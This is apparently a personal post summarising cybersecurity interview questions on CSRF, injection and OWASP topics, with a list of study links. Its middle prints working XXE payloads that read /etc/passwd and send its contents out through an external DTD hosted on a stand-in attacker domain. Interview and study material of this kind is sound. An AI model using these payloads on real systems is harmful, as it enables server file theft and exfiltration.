
Summary of Cyber Security interview questions I have been through, hope this helps
This page is a summary of interviews I have been through, covered a decent breadth of roles, got multiple rejects however, learned from each interview, collected constructive feedbacks and went ahead. Hope these questions/ tips could help you.
Roles which it generally covers are as follows:
Quick tip:
I have tried to jot down all the possible question below which I came across and provided answers for few. Rest you could google for their specific answers and if you want to dive deep. Apart from that, there are few references in the end do have a look. Those were really helpful.
Would love to add more question as I move ahead and check my notes, however would appreciate if you could give me a constructive feedback about this by contacting me via [email protected]. If you came across something, which is not covered out here please feel free to share.
What is CIA?
What is AAA?
OWASP Top 10
What is XSS (Cross-site Scripting)
What is CSRF
This is the sweetest question which every other interviewer would love to ask
Quick Tip: Be brief, if asked then only explain the whole story
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
How to combat CSRF:
Use Anti-CSRF Tokens
Use same-origin policy
Usage of Referrer header
What is HTML/ URL Encoding
Is HTTP protocol stateless?
HTTP is inherently stateless protocol however server uses cookies to make it stateful
What are types of Injections: SQL, Command, OS
How to combat SQL injections
Use paramterized queries and stored procedures
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
To be injected: document.xml
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
%remote; %intern; %xxe;
]>
<root>&xxe;</root> - you can change xxe entity to general entity
External host: http://hacker.com/evil.dtd
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
--- OR ---
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'file://%payl;'>"> - consider error-based
Would talk in general in terms of AWS, however there are other cloud providers such as Azure, GCP, Digital Ocean, etc..
Learning Resource:
https://regexone.com/ (Regular Expressions are must!)
https://portswigger.net/web-security/
OWASP Top 10:
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
Infosec Interview Questions:
https://danielmiessler.com/study/infosec_interview_questions
Top Pentest Questions:
https://resources.infosecinstitute.com/top-30-penetration-tester-pentester-interview-questions-and-answers-for-2019/#gref
Python tips:
https://www.codementor.io/sheena/essential-python-interview-questions-du107ozr6
AWS User Guide:
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html
SMB and Samba insight:
https://fitzcarraldoblog.wordpress.com/2016/10/17/a-correct-method-of-configuring-samba-for-browsing-smb-shares-in-a-home-network/